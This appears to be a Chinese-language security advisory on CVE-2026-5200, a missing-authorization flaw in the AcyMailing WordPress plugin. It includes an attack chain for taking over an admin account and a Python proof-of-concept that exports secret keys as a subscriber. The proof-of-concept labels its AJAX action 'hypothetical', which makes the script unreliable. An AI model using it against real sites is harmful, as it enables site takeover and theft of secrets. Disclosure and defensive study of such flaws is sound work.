IPBUF安全漏洞报告
English
CVE-2026-5200 CVSS 8.8 高危

CVE-2026-5200 AcyMailing插件权限缺失漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-5200
漏洞类型
权限绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AcyMailing WordPress Plugin

相关标签

权限绕过WordPressAcyMailing提权Missing Authorization

漏洞概述

该漏洞存在于WordPress的AcyMailing插件中,影响10.8.2及以下版本。由于插件未正确验证用户执行特定操作的权限,导致拥有订阅者及以上权限的认证攻击者可以修改特权配置、导出订阅者密钥。若攻击者已知目标管理员邮箱,可进而接管管理员账户。

技术细节

该漏洞的核心在于AcyMailing插件在处理配置修改和数据导出等敏感功能时,未实施充分的权限校验机制(Missing Authorization)。在WordPress环境中,插件通常通过AJAX接口(admin-ajax.php)处理前端请求,但该插件的相关接口未调用`current_user_can()`等函数来区分普通用户与管理员权限。攻击者仅需注册低权限账户(如订阅者),即可构造恶意的HTTP请求,直接调用插件内部仅管理员可用的函数。利用过程涉及两步:首先,通过未授权接口修改插件的系统配置,可能更改邮件发送设置或接管插件控制权;其次,利用导出功能获取敏感的Secret Keys。在已知目标管理员电子邮件地址的前提下,攻击者可以将上述操作串联,通过配置篡改或密钥利用触发密码重置流程,从而实现权限提升,完全接管WordPress站点。

攻击链分析

STEP 1
侦察
攻击者确认目标网站使用了存在漏洞的AcyMailing插件版本(<= 10.8.2)。
STEP 2
获取初始访问
攻击者在目标WordPress站点注册一个低权限账户(如订阅者 Subscriber),或使用已有的低权限凭据登录。
STEP 3
漏洞利用
攻击者利用权限缺失漏洞,向管理员专属的AJAX接口发送请求,修改插件配置或导出敏感的Secret Keys。
STEP 4
权限提升
利用获取的密钥或配置更改,结合已知的管理员邮箱地址,攻击者重置管理员密码或劫持会话,从而完全接管管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" # Low-privileged user password = "password" # 1. Authenticate as a low-privileged user session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In', 'testcookie': '1' } # Attempt login login_response = session.post("http://example.com/wp-login.php", data=login_payload) if "ERROR" in login_response.text: print("[-] Login failed") exit() print("[+] Login successful") # 2. Exploit Missing Authorization to export secret keys # Note: The specific 'action' parameter depends on the plugin's actual implementation exploit_payload = { 'action': 'acymailing_export_keys', # Hypothetical action based on vulnerability description 'config': 'export_all' } try: response = session.post(target_url, data=exploit_payload) if response.status_code == 200 and "secret_key" in response.text: print("[+] Exploit successful! Extracted data:") print(response.text) else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

AcyMailing <= 10.8.2

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用AcyMailing插件以阻断攻击链。同时,应加强后台监控,检查是否有异常的配置修改或导出操作,并强制重置所有管理员密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表